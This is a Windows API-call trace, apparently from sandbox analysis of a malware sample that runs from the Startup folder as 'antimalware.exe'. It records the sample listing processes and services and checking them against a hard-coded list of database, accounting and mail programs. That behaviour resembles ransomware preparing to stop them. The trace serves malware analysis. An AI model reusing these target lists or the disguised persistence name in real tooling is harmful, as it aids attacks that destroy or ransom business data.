	[0149.558] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0149.559] lstrlenW (lpString="svchost.exe") returned 11
	[0149.559] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0149.560] lstrlenW (lpString="svchost.exe") returned 11
	[0149.560] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0149.561] lstrlenW (lpString="svchost.exe") returned 11
	[0149.561] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0149.562] lstrlenW (lpString="svchost.exe") returned 11
	[0149.562] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0149.563] lstrlenW (lpString="svchost.exe") returned 11
	[0149.563] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0149.564] lstrlenW (lpString="svchost.exe") returned 11
	[0149.564] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0149.565] lstrlenW (lpString="svchost.exe") returned 11
	[0149.565] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0149.566] lstrlenW (lpString="svchost.exe") returned 11
	[0149.566] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0149.567] lstrlenW (lpString="svchost.exe") returned 11
	[0149.567] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0149.568] lstrlenW (lpString="spoolsv.exe") returned 11
	[0149.568] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x630, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0149.568] lstrlenW (lpString="svchost.exe") returned 11
	[0149.568] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x504, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0149.570] lstrlenW (lpString="audiodg.exe") returned 11
	[0149.570] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0149.571] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0149.571] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0149.571] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0149.572] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0149.572] lstrlenW (lpString="sihost.exe") returned 10
	[0149.572] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0149.573] lstrlenW (lpString="Memory Compression") returned 18
	[0149.573] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0149.574] lstrlenW (lpString="svchost.exe") returned 11
	[0149.574] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0149.575] lstrlenW (lpString="taskhostw.exe") returned 13
	[0149.575] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x190, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0149.576] lstrlenW (lpString="msoia.exe") returned 9
	[0149.576] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x190, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0149.577] lstrlenW (lpString="taskhostw.exe") returned 13
	[0149.577] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x40, th32ParentProcessID=0x9a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0149.578] lstrlenW (lpString="explorer.exe") returned 12
	[0149.578] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0149.579] lstrlenW (lpString="SearchUI.exe") returned 12
	[0149.579] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0149.580] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0149.580] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0149.581] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0149.581] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0149.582] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0149.582] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x9b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe")) returned 1
	[0149.583] lstrlenW (lpString="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 82
	[0149.583] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0149.584] lstrlenW (lpString="cmd.exe") returned 7
	[0149.584] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdf8, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0149.620] lstrlenW (lpString="conhost.exe") returned 11
	[0149.620] lstrcmpiW (lpString1="1c8.exe", lpString2="conhost.exe") returned -1
	[0149.620] lstrcmpiW (lpString1="1cv77.exe", lpString2="conhost.exe") returned -1
	[0149.620] lstrcmpiW (lpString1="outlook.exe", lpString2="conhost.exe") returned 1
	[0149.620] lstrcmpiW (lpString1="postgres.exe", lpString2="conhost.exe") returned 1
	[0149.620] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="conhost.exe") returned 1
	[0149.620] lstrcmpiW (lpString1="mysqld.exe", lpString2="conhost.exe") returned 1
	[0149.620] lstrcmpiW (lpString1="sqlservr.exe", lpString2="conhost.exe") returned 1
	[0149.620] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1
	[0149.621] lstrlenW (lpString="consent.exe") returned 11
	[0149.621] lstrcmpiW (lpString1="1c8.exe", lpString2="consent.exe") returned -1
	[0149.621] lstrcmpiW (lpString1="1cv77.exe", lpString2="consent.exe") returned -1
	[0149.621] lstrcmpiW (lpString1="outlook.exe", lpString2="consent.exe") returned 1
	[0149.621] lstrcmpiW (lpString1="postgres.exe", lpString2="consent.exe") returned 1
	[0149.621] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="consent.exe") returned 1
	[0149.621] lstrcmpiW (lpString1="mysqld.exe", lpString2="consent.exe") returned 1
	[0149.621] lstrcmpiW (lpString1="sqlservr.exe", lpString2="consent.exe") returned 1
	[0149.621] Process32NextW (in: hSnapshot=0x51c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 0
	[0149.622] CloseHandle (hObject=0x51c) returned 1
	[0149.622] Sleep (dwMilliseconds=0x1f4) 
	[0150.272] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x45b0278
	[0150.273] EnumServicesStatusExW (in: hSCManager=0x45b0278, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0) returned 0
	[0150.273] GetLastError () returned 0xea
	[0150.273] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1bc4) returned 0x462efb8
	[0150.273] EnumServicesStatusExW (in: hSCManager=0x45b0278, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x462efb8, cbBufSize=0x1bc4, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x462efb8, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0) returned 1
	[0150.274] CloseServiceHandle (hSCObject=0x45b0278) returned 1
	[0150.275] lstrlenW (lpString="Appinfo") returned 7
	[0150.275] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0150.275] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0150.275] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0150.275] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0150.275] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0150.275] lstrlenW (lpString="AppXSvc") returned 7
	[0150.275] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0150.275] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0150.275] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0150.275] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0150.275] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0150.275] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0150.275] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0150.275] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0150.275] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0150.275] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0150.275] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0150.275] lstrlenW (lpString="Audiosrv") returned 8
	[0150.275] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0150.275] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0150.275] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0150.275] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0150.275] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0150.276] lstrlenW (lpString="BFE") returned 3
	[0150.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0150.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0150.276] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0150.276] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0150.276] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0150.276] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0150.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0150.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0150.276] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0150.276] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0150.276] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0150.276] lstrlenW (lpString="CDPSvc") returned 6
	[0150.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0150.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0150.276] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0150.276] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0150.276] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0150.276] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0150.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0150.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0150.276] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0150.276] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0150.276] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0150.276] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0150.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0150.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0150.277] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0150.277] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0150.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0150.277] lstrlenW (lpString="CryptSvc") returned 8
	[0150.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0150.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0150.277] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0150.277] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0150.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0150.277] lstrlenW (lpString="DcomLaunch") returned 10
	[0150.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0150.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0150.277] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0150.277] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0150.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0150.277] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0150.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0150.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0150.277] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0150.277] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0150.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0150.277] lstrlenW (lpString="Dhcp") returned 4
	[0150.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0150.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0150.277] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0150.277] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0150.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0150.278] lstrlenW (lpString="Dnscache") returned 8
	[0150.278] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0150.278] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0150.278] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0150.278] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0150.278] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0150.278] lstrlenW (lpString="DPS") returned 3
	[0150.278] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0150.278] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0150.278] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0150.278] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0150.278] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0150.278] lstrlenW (lpString="DusmSvc") returned 7
	[0150.278] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0150.278] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0150.279] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0150.279] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0150.279] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0150.279] lstrlenW (lpString="EventLog") returned 8
	[0150.279] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0150.279] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0150.279] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0150.279] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0150.279] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0150.279] lstrlenW (lpString="EventSystem") returned 11
	[0150.279] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0150.279] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0150.279] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0150.279] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0150.279] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0150.279] lstrlenW (lpString="FontCache") returned 9
	[0150.279] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0150.279] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0150.279] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0150.279] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0150.279] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0150.279] lstrlenW (lpString="gpsvc") returned 5
	[0150.279] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0150.279] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0150.279] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0150.280] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0150.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0150.280] lstrlenW (lpString="iphlpsvc") returned 8
	[0150.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0150.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0150.280] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0150.280] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0150.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0150.280] lstrlenW (lpString="KeyIso") returned 6
	[0150.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0150.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0150.280] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0150.280] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0150.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0150.280] lstrlenW (lpString="LanmanServer") returned 12
	[0150.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0150.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0150.280] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0150.280] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0150.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0150.280] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0150.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0150.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0150.280] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0150.280] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0150.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0150.280] lstrlenW (lpString="lfsvc") returned 5
	[0150.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0150.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0150.281] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0150.281] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0150.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0150.281] lstrlenW (lpString="lmhosts") returned 7
	[0150.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0150.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0150.281] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0150.281] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0150.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0150.281] lstrlenW (lpString="LSM") returned 3
